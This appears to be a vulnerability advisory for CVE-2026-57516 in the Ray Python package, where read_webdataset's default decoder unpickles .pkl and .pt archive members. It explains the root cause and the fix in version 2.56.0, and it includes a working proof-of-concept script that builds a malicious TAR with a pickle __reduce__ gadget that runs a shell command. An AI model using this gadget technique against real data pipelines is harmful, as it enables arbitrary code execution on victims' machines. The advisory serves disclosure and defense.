high · 8.8CVE-2026-57516Jul 24, 2026

CVE-2026-57516: Ray read_webdataset Arbitrary Code Execution via Default Pickle Decoder

Rohit Hatagale
AI Security Researcher, SecureLayer7

Calling ray.data.read_webdataset() on a malicious TAR archive executes attacker-controlled code automatically, because the default decoder passes .pkl and .pt file contents straight to pickle.loads()…

Packageray
Ecosystempip
Affected< 2.56.0
Fixed in2.56.0
CVE-2026-57516: Ray read_webdataset Arbitrary Code Execution via Default Pickle Decoder

The problem

ray.data.read_webdataset() ships with decoder=True by default. That default wires .pkl/.pickle entries to pickle.loads(value) and .pt/.pth entries to torch.load(io.BytesIO(value), weights_only=False), both in _default_decoder() inside webdataset_datasource.py.

No flag, env-var, or opt-in is required. Any call to read_webdataset() against a TAR the attacker influenced, including S3 shares, HuggingFace Hub shards, or HTTP URLs, triggers deserialization at schema-sample time and achieves arbitrary code execution in the calling Ray process (and in every remote worker that processes the shard).

CVSS 8.8 High.

Proof of concept

A working proof-of-concept for CVE-2026-57516 in ray, with the exact payload below.

python
import io, os, pickle, tarfile, tempfile

# Build a malicious WebDataset TAR with a .pkl member
class Gadget:
    def __reduce__(self):
        return (os.system, ('id > /tmp/ray_rce',))

with tempfile.NamedTemporaryFile(suffix='.tar', delete=False) as f:
    tar_path = f.name

with tarfile.open(tar_path, 'w') as tar:
    for name, body in (
        ('000000.txt', b'hello'),
        ('000000.pkl', pickle.dumps(Gadget())),
    ):
        ti = tarfile.TarInfo(name=name)
        ti.size = len(body)
        tar.addfile(ti, io.BytesIO(body))

import ray, ray.data
ray.init(ignore_reinit_error=True)
# RCE fires here -- no special flags needed
ray.data.read_webdataset(paths=[tar_path]).take_all()

The root cause is that _default_decoder() routes file extensions to deserializers unconditionally. pickle.loads(value) is inherently unsafe on untrusted bytes (CWE-502), and torch.load(..., weights_only=False) re-enables the same primitive that PyTorch 2.6 closed by flipping its own safe default.

Because WebDatasetDatasource._read_stream checks only if self.decoder is not None before calling _apply_list(self.decoder, sample, default=_default_decoder), and True is not None, the unsafe branches fire for every default invocation. The patch (PRs #63469 and #63470, commit 41443a18) gates unsafe WebDataset deserialization behind an explicit opt-in, mirroring the earlier GHSA-mw35 fix for the Parquet cloudpickle path.

The fix

Upgrade to ray >= 2.56.0. The fix (PRs #63469 and #63470) removes or gates the .pkl/.pickle and .pt/.pth branches in _default_decoder() so they no longer fire by default. If you cannot upgrade immediately, pass decoder=None and supply a safe custom decoder, or avoid reading WebDataset TARs from untrusted sources.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research